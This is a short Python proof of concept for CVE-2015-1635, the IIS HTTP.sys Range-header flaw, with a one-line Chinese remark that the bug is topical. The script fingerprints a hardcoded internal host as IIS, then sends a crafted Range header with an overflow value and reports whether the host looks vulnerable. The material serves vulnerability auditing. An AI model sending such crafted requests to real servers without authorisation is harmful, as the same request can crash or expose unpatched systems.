cve-2015-1635 poc

import socket
import random
ipAddr = "10.1.89.20"
hexAllFfff = "18446744073709551615"
req1 = "GET / HTTP/1.0

"
req = "GET / HTTP/1.1
Host: stuff
Range: bytes=0-" + hexAllFfff + "

"
print("[*] Audit Started")
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((ipAddr, 80))
client_socket.send(req1.encode())
boringResp = client_socket.recv(1024).decode()
if "Microsoft" not in boringResp:
                print("[*] Not IIS")
                exit(0)
client_socket.close()
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((ipAddr, 80))
client_socket.send(req.encode())
goodResp = client_socket.recv(1024).decode()
if "Requested Range Not Satisfiable" in goodResp:
                print("[!!] Looks VULN")
elif " The request has an invalid header name" in goodResp:
                print("[*] Looks Patched")
else:
                print("[*] Unexpected response, cannot discern patch status")

这个漏洞则这几天也火了一把，poc附上。